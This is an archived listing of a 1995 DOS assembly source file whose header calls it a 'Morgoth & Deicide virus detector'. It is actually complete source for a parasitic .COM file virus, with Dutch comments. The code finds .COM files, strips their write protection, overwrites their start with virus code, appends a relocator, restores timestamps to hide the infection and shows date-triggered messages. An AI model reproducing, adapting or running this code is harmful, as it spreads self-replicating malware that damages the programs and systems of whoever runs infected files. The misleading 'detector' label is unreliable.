home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / B.ZIP / BROTHHD.ZIP / BROTHER.ASM next >
Assembly Source File  |  1995-05-23  |  11KB  |  257 lines

  1. ;┌─────────────────────────────────────────────────────────────────────────────┐
  2. ;│                      Morgoth & Deicide virus detector                       │
  3. ;├─────────────────────────────────────────────────────────────────────────────┤
  4. ;│ This will be a Parasytic Non-Resident .COM infector.                        │
  5. ;│ It will also infect COMMAND.COM.                                            │
  6. ;└─────────────────────────────────────────────────────────────────────────────┘
  7. .MODEL TINY
  8.  
  9. Public          VirLen,MovLen,PutMsg
  10.  
  11. Code            Segment para 'Code'
  12. Assume          Cs:Code,Ds:Code,Es:Code
  13.  
  14.         Org 100h
  15.  
  16. Signature       Equ 0CDABh      ; Signature of virus is ABCD!
  17. MorgSig         Equ 0AdDeh      ; Signature of morgoth is DEAD!
  18. DeiSig          Equ 0d90h       ; Signature of deicide is 900D!
  19.  
  20. BegMonthAct     Equ 11          ; Begin Month of activation
  21. EndMonthAct     Equ 12          ; End Month of activation
  22. BegDayAct       Equ 11          ; Begin Day of activation
  23. EndDayAct       Equ 25          ; End Day of activation
  24.  
  25. ActString       Equ CR,LF,'Brotherhood... I am seeking my brothers "DEICIDE" and "MORGOTH"...',CR,LF,EOM
  26. MorgString      Equ CR,LF,'Found my brother "MORGOTH"!!!',CR,LF,EOM
  27. DeicideString   Equ CR,LF,'Found my brother "DEICIDE"!!!',CR,LF,EOM
  28.  
  29. CR              Equ 13          ; Return
  30. LF              Equ 10          ; Linefeed
  31. EOM             Equ '$'         ; Einde Tekst
  32.  
  33. Buff1           Equ 0F000h
  34. Buff2           Equ Buff1+2
  35. VirLen          Equ Offset Einde-Offset Begin
  36. MovLen          Equ Offset Einde-Offset Mover
  37. Proggie         Equ Offset DTA+1Eh
  38.  
  39. MinLen          Equ Virlen   ;Minimale lengte te besmetten programma
  40. MaxLen          Equ 0EF00h      ; Maximale lengte te besmetten programma
  41.  
  42. ;────────────────────────────────────────────────────────────────────
  43. ; This will contain only macros, for pieces of code which will be
  44. ; used very often.
  45. ;────────────────────────────────────────────────────────────────────
  46.  
  47. ;────────────────────────────────────────────────────────────────────
  48. ; This part will contain the actual virus code, for searching the
  49. ; next victim and infection of it.
  50. ;────────────────────────────────────────────────────────────────────
  51.  
  52. Begin:
  53.         Jmp Short OverSig       ; Sprong naar Oversig vanwege kenmerk
  54.         DW Signature            ; Herkenningsteken virus
  55. Oversig:
  56.         Pushf                   ;------------------
  57.         Push AX                 ; Alle registers opslaan voor
  58.         Push BX                 ; later gebruik van het programma
  59.         Push CX                 ;
  60.         Push DX                 ;
  61.         Push DS                 ;
  62.         Push ES                 ;
  63.         Push SS                 ;
  64.         Push SI                 ;
  65.         Push DI                 ;------------------
  66.  
  67.         Mov AH,2Ah              ;------------------
  68.         Int 21h                 ; Systeemdatum vergelijken met
  69.         Cmp DH,BegMonthAct      ; activatiedatum. Als dit gelijk is
  70.         Jb InfectPart           ; moet word PutMsg aangeroepen, anders
  71.         Cmp DH,EndMonthAct      ; wordt InfectPart aangeroepen.
  72.         Jg InfectPart           ;
  73.         Cmp DL,BegDayAct        ;
  74.         Jb InfectPart           ;
  75.         Cmp DL,EndDayAct        ;
  76.         Jg InfectPart           ;------------------
  77. PutMsg:         Mov AH,09h              ; Activatiebericht wordt getoont en
  78.         Mov DX,Offset Msg       ; de eerste 80 sectoren van de C
  79.         Int 21h                 ; drive worden volgeschreven met
  80.         Int 20h                 ;
  81.  
  82. InfectPart:
  83.         Mov AX,Sprong           ;------------------
  84.         Mov Buf1,AX             ; Spronggegevens bewaren om
  85.         Mov BX,Source           ; besmette programma te starten
  86.         Mov Buf2,BX             ;------------------
  87.         Mov AH,1Ah              ; DTA area instellen op
  88.         Lea DX,DTA              ; $DTA area
  89.         Int 21h                 ;------------------
  90. Vindeerst:      Mov AH,4Eh              ; Zoeken naar 1e .COM file in directory
  91.         Mov Cx,1                ;
  92.         Lea DX,FindPath         ;
  93.         Int 21h                 ;------------------
  94.         Jnc KijkInfected        ; Geen gevonden, goto Afgelopen
  95.         Jmp Afgelopen           ;------------------
  96. KijkInfected:
  97.         Mov DX,DTA+1Ah          ;------------------
  98.         Cmp DX,MinLen           ; Kijken of programmalengte voldoet
  99.         Jb  ZoekNext            ; aan de eisen van het virus
  100.         Mov DX,MaxLen           ; (langer dan virus)
  101.         Cmp DX,DTA+1Ah          ;
  102.         Jb  ZoekNext            ;------------------
  103. On2:            Mov AH,3Dh              ; Zo ja , file openen en file handle
  104.         Mov AL,2                ; opslaan
  105.         Mov DX,Proggie          ;
  106.         Int 21h                 ;
  107.         Mov FH,AX               ;------------------
  108.         Mov BX,AX               ;
  109.         Mov AH,3Fh              ; Lezen 1e 4 bytes van een file met
  110.         Mov CX,4                ; een mogelijk kenmerk van het virus
  111.         Mov DX,Buff1            ;
  112.         Int 21h                 ;------------------
  113. Sluiten:        Mov AH,3Eh              ; File weer sluiten
  114.         Int 21h                 ;------------------
  115.         Mov AX,CS:[Buff2]       ; Vergelijken inhoud lokatie Buff1+2
  116.         Cmp AX,Signature        ; met Signature. Niet gelijk : Zoeken op
  117.         Jz  Zoeknext            ; morgoth virus. Als bestand al besmet
  118.         Cmp Ax,MorgSig          ; is met morgoth, geef bericht en stop
  119.         Jz  MorgHere            ; executie!
  120.         Cmp Ax,DeiSig
  121.         jz  DeiHere
  122.         Jmp Infect              ;------------------
  123. MorgHere:       Mov Ah,9
  124.         Mov Dx,Offset Morg
  125.         Int 21h
  126.         Int 20h
  127. DeiHere:        Mov Ah,9
  128.         Mov Dx,Offset Dei
  129.         Int 21h
  130.         Int 20h
  131. ZoekNext:
  132.         Mov AH,4Fh              ;------------------
  133.         Int 21h                 ; Zoeken naar volgende .COM file
  134.         Jnc KijkInfected        ; Geen gevonden, goto Afgelopen
  135.         Jmp Afgelopen           ;------------------
  136.  
  137. Infect:
  138.         Mov AH,43h              ;------------------
  139.         Mov AL,0                ; Eventuele schrijf-
  140.         Mov DX,Proggie          ; beveiliging weghalen
  141.         Int 21h                 ; van het programma
  142.         Mov AH,43h              ;
  143.         Mov AL,1                ;
  144.         And CX,11111110b        ;
  145.         Int 21h                 ;------------------
  146.         Mov AH,3Dh              ; Bestand openen
  147.         Mov AL,2                ;
  148.         Mov DX,Proggie          ;
  149.         Int 21h                 ;------------------
  150.         Mov FH,AX               ; Opslaan op stack van
  151.         Mov BX,AX               ; datum voor later gebruik
  152.         Mov AH,57H              ;
  153.         Mov AL,0                ;
  154.         Int 21h                 ;
  155.         Push CX                 ;
  156.         Push DX                 ;------------------
  157.         Mov AH,3Fh              ; Inlezen van eerste deel van het
  158.         Mov CX,VirLen+2         ; programma om later terug te
  159.         Mov DX,Buff1            ; kunnen plaatsen.
  160.         Int 21h                 ;------------------
  161.         Mov AH,42H              ; File Pointer weer naar het
  162.         Mov AL,2                ; einde van het programma
  163.         Xor CX,CX               ; zetten
  164.         Xor DX,DX               ;
  165.         Int 21h                 ;------------------
  166.         Xor DX,DX               ; Bepalen van de variabele sprongen
  167.         Add AX,100h             ; in het virus (move-routine)
  168.         Mov Sprong,AX           ;
  169.         Add AX,MovLen           ;
  170.         Mov Source,AX           ;------------------
  171.         Mov AH,40H              ; Move routine bewaren aan
  172.         Mov DX,Offset Mover     ; einde van file
  173.         Mov CX,MovLen           ;
  174.         Int 21h                 ;------------------
  175.         Mov AH,40H              ; Eerste deel programma aan-
  176.         Mov DX,Buff1            ; voegen na Move routine
  177.         Mov CX,VirLen           ;
  178.         Int 21h                 ;------------------
  179.         Mov AH,42h              ; File Pointer weer naar
  180.         Mov AL,0                ; het begin van file
  181.         Xor CX,CX               ; sturen
  182.         Xor DX,DX               ;
  183.         Int 21h                 ;------------------
  184.         Mov AH,40h              ; En programma overschrijven
  185.         Mov DX,Offset Begin     ; met code van het virus
  186.         Mov CX,VirLen           ;
  187.         Int 21h                 ;------------------
  188.         Mov AH,57h              ; Datum van aangesproken file
  189.         Mov AL,1                ; weer herstellen
  190.         Pop DX                  ;
  191.         Pop CX                  ;
  192.         Int 21h                 ;------------------
  193.         Mov AH,3Eh              ; Sluiten file
  194.         Int 21h                 ;------------------
  195. Afgelopen:      Mov BX,Buf2             ; Sprongvariabelen weer
  196.         Mov Source,BX           ; op normaal zetten voor
  197.         Mov AX,Buf1             ; de Move routine
  198.         Mov Sprong,AX           ;------------------
  199.         Mov AH,1Ah              ; DTA adres weer op normaal
  200.         Mov Dx,80h              ; zetten en naar de Move
  201.         Int 21h                 ; routine springen
  202.         Jmp CS:[Sprong]         ;------------------
  203.  
  204. Msg             db ActString
  205. Morg            db MorgString
  206. Dei             db DeicideString
  207.  
  208. ;────────────────────────────────────────────────────────────────────
  209. ; All variables are stored in here, like filehandle, date/time,
  210. ; search path and various buffers.
  211. ;────────────────────────────────────────────────────────────────────
  212.  
  213. FH              DW 0
  214. FindPath        DB '*.COM',0
  215.  
  216. Buf1            DW 0
  217. Buf2            DW 0
  218.  
  219. Sprong          DW 0
  220. Source          DW 0
  221.  
  222.         Db '*** Glenn Benton ***'
  223.  
  224. DTA             DW 64 DUP(?)
  225.  
  226. ;────────────────────────────────────────────────────────────────────
  227. ; This will contain the relocator routine, located at the end of
  228. ; the ORIGINAL file. This will tranfer the 1st part of the program
  229. ; to it's original place.
  230. ;────────────────────────────────────────────────────────────────────
  231. Mover:
  232.         Mov DI,Offset Begin     ;------------------
  233.         Mov SI,Source           ; Verplaatsen van het 1e deel
  234.         Mov CX,VirLen-1         ; van het programma, wat achter
  235.         Movsb                   ; deze verplaatsroutine staat.
  236.         Rep Movsb               ;------------------
  237.         Pop DI                  ; Opgeslagen registers weer
  238.         Pop SI                  ; terugzetten op originele
  239.         Pop SS                  ; waarde en springen naar
  240.         Pop ES                  ; het begin van het programma
  241.         Pop DS                  ; (waar nu het virus niet meer
  242.         Pop DX                  ; staat)
  243.         Pop CX                  ;
  244.         Pop BX                  ;
  245.         Pop AX                  ;
  246.         Popf                    ;
  247.         Mov BX,100h             ;
  248.         Jmp BX                  ;------------------
  249.  
  250. ;────────────────────────────────────────────────────────────────────
  251. ; Only the end of the virus is stored in here.
  252. ;────────────────────────────────────────────────────────────────────
  253. Einde           db 0
  254.  
  255. Code            Ends
  256. End             Begin
  257.